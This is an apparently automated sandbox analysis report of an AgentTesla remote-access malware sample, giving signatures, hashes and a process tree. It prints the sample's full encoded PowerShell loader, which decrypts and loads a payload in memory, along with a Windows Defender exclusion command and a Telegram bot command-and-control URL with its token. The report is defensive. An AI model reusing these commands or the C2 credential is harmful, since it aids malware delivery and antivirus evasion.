Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/05/2024, 07:34

General

  • Target
    1b3bc0613f79431889a1452b050b467ab0c5eabe979c6278f73982ff5f5a4b00_NeikiAnalytics.exe
  • Size 1.0MB
  • Sample240521-jeaahsda69
  • SHA256 1b3bc0613f79431889a1452b050b467ab0c5eabe979c6278f73982ff5f5a4b00
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • agenttesla

C2
  • https://api.telegram.org/bot6941402653:AAGD6Af00jBZM3CSU3pjKxYbW7aazMmc_10/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1b3bc0613f79431889a1452b050b467ab0c5eabe979c6278f73982ff5f5a4b00_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\1b3bc0613f79431889a1452b050b467ab0c5eabe979c6278f73982ff5f5a4b00_NeikiAnalytics.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEYARQAsACAAMAB4ADYAMwAsACAAMAB4AEYAOQAsACAAMAB4ADUAMAAsACAAMAB4AEUAQgAsACAAMAB4ADgAMwAsACAAMAB4AEQAMQAsACAAMAB4ADcAQgAsACAAMAB4ADUAQgAsACAAMAB4AEUANQAsACAAMAB4AEUANAAsACAAMAB4ADYAMAAsACAAMAB4AEMANQAsACAAMAB4AEQARQAsACAAMAB4ADQAQgAsACAAMAB4ADgAQQAsACAAMAB4ADQAMAAsACAAMAB4ADgANAAsACAAMAB4AEMAMgAsACAAMAB4ADUAMgAsACAAMAB4AEIANwAsACAAMAB4ADgAMAAsACAAMAB4AEMAQQAsACAAMAB4ADEARAAsACAAMAB4ADEANgAsACAAMAB4ADQARAAsACAAMAB4AEIAQQAsACAAMAB4ADEANwAsACAAMAB4ADUANAAsACAAMAB4AEIAQQAsACAAMAB4AEQAOAAsACAAMAB4ADEARQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA4ADUALAAgADAAeAA3ADMALAAgADAAeAAxADUALAAgADAAeAAyAEQALAAgADAAeABCADYALAAgADAAeAA0ADEALAAgADAAeABGADMALAAgADAAeAA1AEYALAAgADAAeABBAEIALAAgADAAeAA5AEUALAAgADAAeAAzADEALAAgADAAeABFAEIALAAgADAAeAA0ADIALAAgADAAeAAyADIALAAgADAAeAAwADMALAAgADAAeAAxADAAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      2⤵
      • UAC bypass
      • Windows security bypass
      • Looks for VirtualBox Guest Additions in registry
      • Command and Scripting Interpreter: PowerShell
      • Looks for VMWare Tools registry key
      • Checks BIOS information in registry
      • Maps connected drives based on registry
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:824
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1b3bc0613f79431889a1452b050b467ab0c5eabe979c6278f73982ff5f5a4b00_NeikiAnalytics.exe" -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2672
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
          PID:5048
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:3008
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
          3⤵
            PID:224

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            __PSScriptPolicyTest_twseqeu0.tn5.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_twseqeu0.tn5.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            file-10438.putik

            • Path C:\Users\Admin\AppData\Local\Temp\file-10438.putik
            • Size 34KB
            • SHA256 493036aba776c7aa127feb9fc3b2c9587bd7cc7491a6b133ececc471c0f06bfb
            • MD5 SHA1 SHA512 SSDEEP

            memory/824-35-0x00007FF8D7700000-0x00007FF8D81C1000-memory.dmp

            memory/824-1-0x00007FF8D7703000-0x00007FF8D7705000-memory.dmp

            memory/824-13-0x00007FF8D7700000-0x00007FF8D81C1000-memory.dmp

            memory/824-2-0x0000019D74100000-0x0000019D74122000-memory.dmp

            memory/824-15-0x0000019D59F30000-0x0000019D59F3C000-memory.dmp

            memory/824-16-0x0000019D745B0000-0x0000019D74648000-memory.dmp

            memory/824-12-0x00007FF8D7700000-0x00007FF8D81C1000-memory.dmp

            memory/2672-27-0x00007FF8D7700000-0x00007FF8D81C1000-memory.dmp

            memory/2672-29-0x00007FF8D7700000-0x00007FF8D81C1000-memory.dmp

            memory/2672-33-0x00007FF8D7700000-0x00007FF8D81C1000-memory.dmp

            memory/2672-17-0x00007FF8D7700000-0x00007FF8D81C1000-memory.dmp

            memory/3008-28-0x0000000000400000-0x0000000000444000-memory.dmp

            memory/3008-32-0x0000000005760000-0x0000000005D04000-memory.dmp

            memory/3008-34-0x00000000051B0000-0x0000000005216000-memory.dmp

            memory/3008-36-0x0000000006660000-0x00000000066B0000-memory.dmp

            memory/3008-37-0x0000000006750000-0x00000000067EC000-memory.dmp

            memory/3008-38-0x0000000006990000-0x0000000006A22000-memory.dmp

            memory/3008-39-0x00000000068F0000-0x00000000068FA000-memory.dmp